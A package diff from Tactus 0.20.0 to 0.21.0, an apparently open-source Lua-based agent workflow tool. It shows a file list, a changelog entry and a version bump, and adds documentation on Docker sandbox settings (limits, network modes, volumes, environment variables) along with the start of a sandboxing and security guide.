  334. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/evaluation_runner.py +0 -0
  335. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/evaluators.py +0 -0
  336. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/events.py +0 -0
  337. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/gherkin_parser.py +0 -0
  338. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/mock_dependencies.py +0 -0
  339. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/mock_hitl.py +0 -0
  340. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/mock_registry.py +0 -0
  341. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/models.py +0 -0
  342. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/pydantic_eval_runner.py +0 -0
  343. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/steps/__init__.py +0 -0
  344. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/steps/builtin.py +0 -0
  345. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/steps/custom.py +0 -0
  346. {tactus-0.20.0 → tactus-0.21.0}/tactus/testing/steps/registry.py +0 -0
  347. {tactus-0.20.0 → tactus-0.21.0}/tactus/tracing/__init__.py +0 -0
  348. {tactus-0.20.0 → tactus-0.21.0}/tactus/tracing/trace_manager.py +0 -0
  349. {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/__init__.py +0 -0
  350. {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/cost_calculator.py +0 -0
  351. {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/model_pricing.py +0 -0
  352. {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/safe_file_library.py +0 -0
  353. {tactus-0.20.0 → tactus-0.21.0}/tactus/utils/safe_libraries.py +0 -0
  354. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/LuaLexerBase.py +0 -0
  355. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/LuaParserBase.py +0 -0
  356. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/README.md +0 -0
  357. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/__init__.py +0 -0
  358. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/error_listener.py +0 -0
  359. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaLexer.interp +0 -0
  360. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaLexer.py +0 -0
  361. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaLexer.tokens +0 -0
  362. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaLexerBase.py +0 -0
  363. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParser.interp +0 -0
  364. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParser.py +0 -0
  365. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParser.tokens +0 -0
  366. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParserBase.py +0 -0
  367. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/LuaParserVisitor.py +0 -0
  368. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/generated/__init__.py +0 -0
  369. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/grammar/LuaLexer.g4 +0 -0
  370. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/grammar/LuaParser.g4 +0 -0
  371. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/semantic_visitor.py +0 -0
  372. {tactus-0.20.0 → tactus-0.21.0}/tactus/validation/validator.py +0 -0
  373. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/.gitignore +0 -0
  374. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/README.md +0 -0
  375. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/RUN_ELECTRON.md +0 -0
  376. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/SETUP_COMPLETE.md +0 -0
  377. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/backend/hook-lupa.py +0 -0
  378. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/backend/tactus_backend.spec +0 -0
  379. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/package-lock.json +0 -0
  380. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/package.json +0 -0
  381. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/preload/preload.ts +0 -0
  382. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/preload/tsconfig.json +0 -0
  383. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/rebuild-and-test.sh +0 -0
  384. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/scripts/build-backend.js +0 -0
  385. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/scripts/build-frontend.js +0 -0
  386. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/src/backend-manager.ts +0 -0
  387. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/src/main.ts +0 -0
  388. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/src/menu.ts +0 -0
  389. {tactus-0.20.0 → tactus-0.21.0}/tactus-desktop/tsconfig.json +0 -0
  390. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/ARCHITECTURE.md +0 -0
  391. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/CHANGELOG.md +0 -0
  392. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/DEV_MODE.md +0 -0
  393. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/QUICK_START.md +0 -0
  394. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/README.md +0 -0
  395. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/RESTART_INSTRUCTIONS.md +0 -0
  396. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/TROUBLESHOOTING.md +0 -0
  397. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/README.md +0 -0
  398. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/events.py +0 -0
  399. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/logging_capture.py +0 -0
  400. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/lsp_server.py +0 -0
  401. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/requirements.txt +0 -0
  402. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/backend/tactus_lsp_handler.py +0 -0
  403. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/dev.sh +0 -0
  404. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/.storybook/main.ts +0 -0
  405. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/.storybook/preview.ts +0 -0
  406. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/.storybook/vitest.setup.ts +0 -0
  407. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/README.md +0 -0
  408. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/demo.ts +0 -0
  409. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/index.html +0 -0
  410. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/jest.config.js +0 -0
  411. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/package.json +0 -0
  412. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/postcss.config.js +0 -0
  413. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/Editor.tsx +0 -0
  414. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/LSPClient.ts +0 -0
  415. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/LSPClientHTTP.ts +0 -0
  416. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/TactusLanguage.ts +0 -0
  417. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/commands/registry.ts +0 -0
  418. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/CheckpointSummary.tsx +0 -0
  419. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/CollapsibleRun.tsx +0 -0
  420. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/Duration.stories.tsx +0 -0
  421. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/Duration.tsx +0 -0
  422. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/FileTree.stories.tsx +0 -0
  423. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/FileTree.tsx +0 -0
  424. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureInputsDisplay.stories.tsx +0 -0
  425. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureInputsDisplay.tsx +0 -0
  426. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureInputsModal.stories.tsx +0 -0
  427. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureInputsModal.tsx +0 -0
  428. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureTab.stories.tsx +0 -0
  429. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ProcedureTab.tsx +0 -0
  430. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ResizeHandle.tsx +0 -0
  431. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ResultsSidebar.stories.tsx +0 -0
  432. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/Timestamp.stories.tsx +0 -0
  433. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/Timestamp.tsx +0 -0
  434. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/TopMenuBar.stories.tsx +0 -0
  435. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/CheckpointDetails.stories.tsx +0 -0
  436. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/CheckpointDetails.tsx +0 -0
  437. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/CheckpointList.stories.tsx +0 -0
  438. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/CheckpointList.tsx +0 -0
  439. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/DebuggerPanel.stories.tsx +0 -0
  440. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/DebuggerPanel.tsx +0 -0
  441. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/RunSelector.stories.tsx +0 -0
  442. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/RunSelector.tsx +0 -0
  443. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/StatisticsPanel.stories.tsx +0 -0
  444. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/debugger/StatisticsPanel.tsx +0 -0
  445. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/AgentStreamingComponent.tsx +0 -0
  446. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/BaseEventComponent.tsx +0 -0
  447. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/CostEventComponent.stories.tsx +0 -0
  448. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/EvaluationEventComponent.stories.tsx +0 -0
  449. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/EvaluationEventComponent.tsx +0 -0
  450. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ExecutionEventComponent.stories.tsx +0 -0
  451. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ExecutionEventComponent.tsx +0 -0
  452. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ExecutionSummaryEventComponent.stories.tsx +0 -0
  453. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ExecutionSummaryEventComponent.tsx +0 -0
  454. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/LoadingEventComponent.stories.tsx +0 -0
  455. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/LogCluster.tsx +0 -0
  456. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/LogEventComponent.stories.tsx +0 -0
  457. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/LogEventComponent.tsx +0 -0
  458. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/OutputEventComponent.stories.tsx +0 -0
  459. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/OutputEventComponent.tsx +0 -0
  460. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/TestEventComponent.stories.tsx +0 -0
  461. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/TestEventComponent.tsx +0 -0
  462. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ToolCallEventComponent.tsx +0 -0
  463. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ValidationEventComponent.stories.tsx +0 -0
  464. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/events/ValidationEventComponent.tsx +0 -0
  465. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/AgentsSection.tsx +0 -0
  466. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/EvaluationsSection.tsx +0 -0
  467. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/MetadataSections.stories.tsx +0 -0
  468. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/OutputsSection.tsx +0 -0
  469. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/ParametersSection.tsx +0 -0
  470. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/SpecificationsSection.tsx +0 -0
  471. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/StagesSection.tsx +0 -0
  472. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/metadata/ToolsSection.tsx +0 -0
  473. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/scenarios/EvaluateScenarios.stories.tsx +0 -0
  474. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/scenarios/RunScenarios.stories.tsx +0 -0
  475. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/scenarios/TestScenarios.stories.tsx +0 -0
  476. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/scenarios/ValidationScenarios.stories.tsx +0 -0
  477. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/theme-provider.tsx +0 -0
  478. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/ai/conversation.tsx +0 -0
  479. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/ai/message.tsx +0 -0
  480. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/ai/prompt-input.tsx +0 -0
  481. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/button.tsx +0 -0
  482. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/dialog.tsx +0 -0
  483. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/input.tsx +0 -0
  484. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/logo.stories.tsx +0 -0
  485. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/logo.tsx +0 -0
  486. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/menubar.tsx +0 -0
  487. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/scroll-area.tsx +0 -0
  488. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/separator.tsx +0 -0
  489. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/components/ui/tabs.tsx +0 -0
  490. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/hooks/useTracing.ts +0 -0
  491. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/index.css +0 -0
  492. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/lib/utils.ts +0 -0
  493. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/main.tsx +0 -0
  494. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/types/metadata.ts +0 -0
  495. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/types/results.ts +0 -0
  496. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/types/tracing.ts +0 -0
  497. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/validation/TactusValidator.ts +0 -0
  498. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/validation/generated/LuaParser.interp +0 -0
  499. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/validation/generated/LuaParser.tokens +0 -0
  500. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/validation/types.ts +0 -0
  501. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/src/vite-env.d.ts +0 -0
  502. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/tailwind.config.js +0 -0
  503. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/tsconfig.json +0 -0
  504. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/tsconfig.node.json +0 -0
  505. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/vite.config.ts +0 -0
  506. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/frontend/vitest.shims.d.ts +0 -0
  507. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/package.json +0 -0
  508. {tactus-0.20.0 → tactus-0.21.0}/tactus-ide/start-dev.sh +0 -0
  509. {tactus-0.20.0 → tactus-0.21.0}/tests/__init__.py +0 -0
  510. {tactus-0.20.0 → tactus-0.21.0}/tests/adapters/__init__.py +0 -0
  511. {tactus-0.20.0 → tactus-0.21.0}/tests/adapters/test_lua_tools_adapter.py +0 -0
  512. {tactus-0.20.0 → tactus-0.21.0}/tests/adapters/test_plugins.py +0 -0
  513. {tactus-0.20.0 → tactus-0.21.0}/tests/cli/__init__.py +0 -0
  514. {tactus-0.20.0 → tactus-0.21.0}/tests/conftest.py +0 -0
  515. {tactus-0.20.0 → tactus-0.21.0}/tests/core/__init__.py +0 -0
  516. {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_config_manager.py +0 -0
  517. {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_determinism_safety.py +0 -0
  518. {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_lua_sandbox_security.py +0 -0
  519. {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_runtime_inputs.py +0 -0
  520. {tactus-0.20.0 → tactus-0.21.0}/tests/core/test_script_mode.py +0 -0
  521. {tactus-0.20.0 → tactus-0.21.0}/tests/dspy/__init__.py +0 -0
  522. {tactus-0.20.0 → tactus-0.21.0}/tests/dspy/test_streaming.py +0 -0
  523. {tactus-0.20.0 → tactus-0.21.0}/tests/fixtures/__init__.py +0 -0
  524. {tactus-0.20.0 → tactus-0.21.0}/tests/fixtures/test_mcp_server.py +0 -0
  525. {tactus-0.20.0 → tactus-0.21.0}/tests/integration/test_named_procedures.py +0 -0
  526. {tactus-0.20.0 → tactus-0.21.0}/tests/mocks/__init__.py +0 -0
  527. {tactus-0.20.0 → tactus-0.21.0}/tests/mocks/llm_mocks.py +0 -0
  528. {tactus-0.20.0 → tactus-0.21.0}/tests/primitives/test_retry_primitive.py +0 -0
  529. {tactus-0.20.0 → tactus-0.21.0}/tests/primitives/test_state_primitive.py +0 -0
  530. {tactus-0.20.0 → tactus-0.21.0}/tests/primitives/test_tool_primitive.py +0 -0
  531. {tactus-0.20.0 → tactus-0.21.0}/tests/primitives/test_toolset_dsl.py +0 -0
  532. {tactus-0.20.0 → tactus-0.21.0}/tests/stdlib/__init__.py +0 -0
  533. {tactus-0.20.0 → tactus-0.21.0}/tests/stdlib/test_loader.py +0 -0
  534. {tactus-0.20.0 → tactus-0.21.0}/tests/stdlib/test_require_python.py +0 -0
  535. {tactus-0.20.0 → tactus-0.21.0}/tests/test_checkpoints_integration.py +0 -0
  536. {tactus-0.20.0 → tactus-0.21.0}/tests/test_tracing.py +0 -0
  537. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/__init__.py +0 -0
  538. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/conftest.py +0 -0
  539. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_e2e.py +0 -0
  540. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_gherkin_parser.py +0 -0
  541. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_integration.py +0 -0
  542. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_models.py +0 -0
  543. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_runtime_integration.py +0 -0
  544. {tactus-0.20.0 → tactus-0.21.0}/tests/testing/test_step_registry.py +0 -0
  545. {tactus-0.20.0 → tactus-0.21.0}/tests/utils/__init__.py +0 -0
  546. {tactus-0.20.0 → tactus-0.21.0}/tests/utils/test_safe_file_library.py +0 -0
  547. {tactus-0.20.0 → tactus-0.21.0}/tests/validation/__init__.py +0 -0
  548. {tactus-0.20.0 → tactus-0.21.0}/tmp/langchain.db/topics_llm_cache.db +0 -0
@@ -37,6 +37,7 @@ yarn-error.log*
37
37
  .tactus/config.yml
38
38
  progress.output
39
39
  .tac/
40
+ examples/output/
40
41
 
41
42
  *storybook.log
42
43
  storybook-static
@@ -2,6 +2,28 @@
2
2
 
3
3
  <!-- version list -->
4
4
 
5
+ ## v0.21.0 (2026-01-10)
6
+
7
+ ### Bug Fixes
8
+
9
+ - Clarify summarization prompts are logged
10
+ ([`1fbabee`](https://github.com/AnthusAI/Tactus/commit/1fbabeef3c6634fb9b2927e39a3e575f1074ff7d))
11
+
12
+ - Clarify template namespaces and rendering
13
+ ([`b4b61c1`](https://github.com/AnthusAI/Tactus/commit/b4b61c15107a85c83c7646d347fafc3dd98943c3))
14
+
15
+ - Remove incompatible tests and skip deprecated YAML test
16
+ ([`5960ed3`](https://github.com/AnthusAI/Tactus/commit/5960ed3580d958101dffca626c0d2cdd773e83be))
17
+
18
+ - Support message alias for agent calls
19
+ ([`43c911b`](https://github.com/AnthusAI/Tactus/commit/43c911bd9ad8aa3be6b7f0751f044d25f40cd9fa))
20
+
21
+ ### Chores
22
+
23
+ - Update .gitignore to include tmp/ directory
24
+ ([`9871bae`](https://github.com/AnthusAI/Tactus/commit/9871baeaa0d0dd3a14861d1e88b329164f238a2f))
25
+
26
+
5
27
  ## v0.20.0 (2026-01-09)
6
28
 
7
29
 
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: tactus
3
- Version: 0.20.0
3
+ Version: 0.21.0
4
4
  Summary: Tactus: Lua-based DSL for agentic workflows
5
5
  Project-URL: Homepage, https://github.com/AnthusAI/Tactus
6
6
  Project-URL: Documentation, https://github.com/AnthusAI/Tactus/tree/main/docs
@@ -93,6 +93,138 @@ default_model: "gpt-4o-mini"
93
93
 
94
94
  **Security**: Sidecar files can contain file paths and command execution. Only use trusted sidecar files.
95
95
 
96
+ ## Sandbox Configuration
97
+
98
+ Tactus runs procedures in Docker containers by default for security isolation. You can configure sandbox behavior at any configuration level (user, project, or sidecar).
99
+
100
+ ### Basic Sandbox Settings
101
+
102
+ ```yaml
103
+ # ~/.tactus/config.yml or .tactus/config.yml
104
+ sandbox:
105
+ enabled: true # Default: true (if Docker available)
106
+ image: "tactus-sandbox:local" # Docker image name (auto-built on first use)
107
+ timeout: 3600 # Max execution time in seconds (default: 1 hour)
108
+ mcp_servers_path: "~/.tactus/mcp-servers" # Path to MCP servers
109
+ ```
110
+
111
+ **Note**: If Docker is unavailable and `enabled: true`, execution will fail with an error. Use `--no-sandbox` flag or `enabled: false` to explicitly run without isolation.
112
+
113
+ ### Resource Limits
114
+
115
+ Control memory and CPU usage per container:
116
+
117
+ ```yaml
118
+ sandbox:
119
+ limits:
120
+ memory: "2g" # Per-container memory limit (default: 2GB)
121
+ cpus: "2" # Per-container CPU cores (default: 2)
122
+ ```
123
+
124
+ **Error handling**:
125
+ - Out of memory: Container killed with exit code 137
126
+ - Timeout exceeded: Container killed with exit code 124
127
+
128
+ ### Network Configuration
129
+
130
+ Control network access for procedures:
131
+
132
+ ```yaml
133
+ sandbox:
134
+ network: "bridge" # Network mode (default: bridge)
135
+
136
+ # Options:
137
+ # - "bridge": Default Docker bridge (allows outbound connections)
138
+ # - "none": No network access (most secure, but can't call LLM APIs)
139
+ # - "host": Use host network (not recommended for security)
140
+ # - "custom-network": Use a custom Docker network
141
+ ```
142
+
143
+ **Security consideration**: Default `bridge` mode allows outbound connections (needed for LLM API calls), but agents could potentially exfiltrate data. See [Sandboxing Guide: Threat Model](./SANDBOXING.md#threat-model) for details.
144
+
145
+ ### Volume Mounts
146
+
147
+ Mount host directories into the container:
148
+
149
+ ```yaml
150
+ sandbox:
151
+ volumes:
152
+ - "/host/data:/data:ro" # Read-only mount
153
+ - "/host/outputs:/outputs:rw" # Read-write mount
154
+ - "/shared/config:/config:ro"
155
+ ```
156
+
157
+ **Default mounts** (always included):
158
+ - Workspace: Temporary directory at `/workspace` (ephemeral, destroyed after run)
159
+ - MCP Servers: `~/.tactus/mcp-servers` at `/mcp-servers` (read-only)
160
+
161
+ ### Environment Variables
162
+
163
+ Pass environment variables to the container:
164
+
165
+ ```yaml
166
+ sandbox:
167
+ env:
168
+ CUSTOM_VAR: "value"
169
+ DEBUG: "true"
170
+ LOG_LEVEL: "info"
171
+ ```
172
+
173
+ **Automatically passed through** (no configuration needed):
174
+ - `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `GOOGLE_API_KEY`
175
+ - `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_DEFAULT_REGION`, `AWS_SESSION_TOKEN`
176
+ - `AZURE_OPENAI_API_KEY`, `AZURE_OPENAI_ENDPOINT`
177
+
178
+ ### Per-Procedure Sandbox Configuration
179
+
180
+ Use sidecar files to customize sandbox settings per procedure:
181
+
182
+ **Example**: `financial_analysis.tac.yml`
183
+ ```yaml
184
+ # Procedure-specific sandbox configuration
185
+ sandbox:
186
+ enabled: true
187
+
188
+ limits:
189
+ memory: "4g" # More memory for data-heavy processing
190
+ cpus: "4" # More CPU cores
191
+
192
+ timeout: 1800 # 30 minute timeout
193
+
194
+ network: "none" # No network access for sensitive data
195
+
196
+ volumes:
197
+ - "/data/financial:/data:ro" # Read-only financial data
198
+ - "/output/reports:/reports:rw" # Write reports here
199
+
200
+ env:
201
+ DATA_PATH: "/data"
202
+ OUTPUT_PATH: "/reports"
203
+ ```
204
+
205
+ **Use cases for per-procedure sandbox configs**:
206
+ - Higher resource limits for data-intensive procedures
207
+ - Network isolation for procedures handling sensitive data
208
+ - Custom volume mounts for specific data sources
209
+ - Procedure-specific environment variables
210
+
211
+ ### Disabling the Sandbox
212
+
213
+ To run without Docker isolation:
214
+
215
+ **Via CLI**:
216
+ ```bash
217
+ tactus run procedure.tac --no-sandbox
218
+ ```
219
+
220
+ **Via configuration**:
221
+ ```yaml
222
+ sandbox:
223
+ enabled: false
224
+ ```
225
+
226
+ **Security warning**: Running without sandbox removes OS-level isolation. Only disable for trusted procedures or development. See [Sandboxing Guide](./SANDBOXING.md) for security implications.
227
+
96
228
  ### Directory-Level Configuration
97
229
 
98
230
  You can place `.tactus/config.yml` files in any directory to configure settings for procedures in that directory and subdirectories.
@@ -322,6 +454,7 @@ api_key = config.get("openai_api_key")
322
454
 
323
455
  ## See Also
324
456
 
457
+ - [Sandboxing & Security](SANDBOXING.md) - Security concepts and threat models
325
458
  - [Tool Roadmap](TOOL_ROADMAP.md) - Information about tool loading
326
459
  - [README](../README.md) - General Tactus documentation
327
460
  - [Examples](../examples/) - Example procedures with sidecar configs
@@ -0,0 +1,499 @@
1
+ # Sandboxing & Security
2
+
3
+ Tactus provides **three layers of sandboxing** to protect against different threat models. This defense-in-depth approach makes Tactus safe for user-contributed code, secure for local development, and production-ready for multi-tenant AI systems.
4
+
5
+ ## Overview: Three Layers of Protection
6
+
7
+ | Layer | Scope | Purpose | Default |
8
+ |-------|-------|---------|---------|
9
+ | **Lua Sandboxing** | Language-level | Safe execution of user-contributed agent code | Always on |
10
+ | **Docker Sandboxing** | OS-level | Isolate filesystem/network access during development | On (local) |
11
+ | **Cloud Sandboxing** | Per-invocation | Prevent information leakage between users | On (cloud) |
12
+
13
+ ## Why Three Layers?
14
+
15
+ Each layer addresses a different security concern:
